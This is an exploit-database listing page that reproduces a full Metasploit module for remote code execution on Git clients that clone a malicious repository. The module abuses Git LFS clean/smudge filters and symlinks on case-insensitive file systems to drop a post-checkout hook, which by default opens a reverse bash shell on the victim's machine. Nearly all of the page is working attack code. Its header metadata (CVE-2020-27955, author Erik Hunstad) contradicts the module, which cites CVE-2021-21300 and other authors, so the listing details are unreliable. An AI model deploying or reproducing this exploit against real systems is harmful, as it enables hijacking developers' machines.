Git LFS Clone Command Execution
CVE
Category
Price
Severity
CVE-2020-27955
CWE-78
$5,000
High
Author
Risk
Exploitation Type
Date
Erik Hunstad
High
Remote
2021-08-31
CPE PURL
cpe:cpe:2.3:a:git:git:- pkg:No PURL package manager url available for this exploit
CVSS vector description
Metric
Value
Metric Description
Value Description
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021080106 Below is a copy:
Git LFS Clone Command Execution ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Git
include Msf::Exploit::Git::SmartHttp
include Msf::Exploit::Git::Lfs
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Git LFS Clone Command Exec',
'Description' => %q{
Git clients that support delay-capable clean / smudge
filters and symbolic links on case-insensitive file systems are
vulnerable to remote code execution while cloning a repository.
Usage of clean / smudge filters through Git LFS and a
case-insensitive file system changes the checkout order
of repository files which enables the placement of a Git hook
in the `.git/hooks` directory. By default, this module writes
a `post-checkout` script so that the payload will automatically
be executed upon checkout of the repository.
},
'License' => MSF_LICENSE,
'Author' => [
'Johannes Schindelin', # Discovery
'Matheus Tavares', # Discovery
'Shelby Pace' # Metasploit module
],
'References' => [
[ 'CVE', '2021-21300' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2021/Apr/60' ],
[ 'URL', 'https://twitter.com/Foone/status/1369500506469527552?s=20' ]
],
'DisclosureDate' => '2021-04-26',
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Targets' => [
[
'Git for MacOS, Windows',
{
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
}
)
)
register_options(
[
OptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ])
]
)
deregister_options('RHOSTS', 'RPORT')
end
def exploit
setup_repo_structure
super
end
def setup_repo_structure
link_content = '.git/hooks'
link_name = Rex::Text.rand_text_alpha(8..12).downcase
link_obj = GitObject.build_blob_object(link_content)
dir_name = link_name.upcase
git_attr = '.gitattributes'
git_hook = 'post-checkout'
@hook_payload = "#!/bin/sh\n#{payload.encoded}"
ptr_file = generate_pointer_file(@hook_payload)
# need to initially send the pointer file
# then send the actual object when Git LFS requests it
git_hook_ptr = GitObject.build_blob_object(ptr_file)
git_attr_content = "#{dir_name}/#{git_hook} filter=lfs diff=lfs merge=lfs"
git_attr_obj = GitObject.build_blob_object(git_attr_content)
sub_file_content = Rex::Text.rand_text_alpha(0..150)
sub_file_name = Rex::Text.rand_text_alpha(8..12)
sub_file_obj = GitObject.build_blob_object(sub_file_content)
register_dir_for_cleanup('.git')
register_files_for_cleanup(git_attr, link_name)
# create subdirectory which holds payload
sub_tree =
[
{
mode: '100644',
file_name: sub_file_name,
sha1: sub_file_obj.sha1
},
{
mode: '100755',
file_name: git_hook,
sha1: git_hook_ptr.sha1
}
]
sub_tree_obj = GitObject.build_tree_object(sub_tree)
# root of repository
tree_ent =
[
{
mode: '100644',
file_name: git_attr,
sha1: git_attr_obj.sha1
},
{
mode: '040000',
file_name: dir_name,
sha1: sub_tree_obj.sha1
},
{
mode: '120000',
file_name: link_name,
sha1: link_obj.sha1
}
]
tree_obj = GitObject.build_tree_object(tree_ent)
commit = GitObject.build_commit_object(tree_sha1: tree_obj.sha1)
@git_objs =
[
commit, tree_obj, sub_tree_obj,
sub_file_obj, git_attr_obj, git_hook_ptr,
link_obj
]
@refs =
{
'HEAD' => 'refs/heads/master',
'refs/heads/master' => commit.sha1
}
end
def create_git_uri
"/#{Faker::App.name.downcase}.git".gsub(' ', '-')
end
def primer
@git_repo_uri = datastore['GIT_URI'].empty? ? create_git_uri : datastore['GIT_URI']
@git_addr = URI.parse(get_uri).merge(@git_repo_uri)
print_status("Git repository to clone: #{@git_addr}")
hardcoded_uripath(@git_repo_uri)
hardcoded_uripath("/#{Digest::SHA256.hexdigest(@hook_payload)}")
end
def on_request_uri(cli, req)
if req.uri.include?('git-upload-pack')
request = Msf::Exploit::Git::SmartHttp::Request.parse_raw_request(req)
case request.type
when 'ref-discovery'
response = send_refs(request)
when 'upload-pack'
response = send_requested_objs(request)
else
fail_with(Failure::UnexpectedReply, 'Git client did not send a valid request')
end
else
response = handle_lfs_objects(req)
unless response.code == 200
cli.send_response(response)
fail_with(Failure::UnexpectedReply, 'Failed to respond to Git client\'s LFS request')
end
end
cli.send_response(response)
end
def send_refs(req)
fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack'
response = get_ref_discovery_response(req, @refs)
fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response
response
end
def send_requested_objs(req)
upload_pack_resp = get_upload_pack_response(req, @git_objs)
unless upload_pack_resp
fail_with(Failure::UnexpectedReply, 'Could not generate upload-pack response')
end
upload_pack_resp
end
def handle_lfs_objects(req)
git_hook_obj = GitObject.build_blob_object(@hook_payload)
case req.method
when 'POST'
print_status('Sending payload data...')
response = get_batch_response(req, @git_addr, git_hook_obj)
fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response
when 'GET'
print_status('Sending LFS object...')
response = get_requested_obj_response(req, git_hook_obj)
fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response
else
fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request')
end
response
end
end
Copyright ©2024 Exploitalert.
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum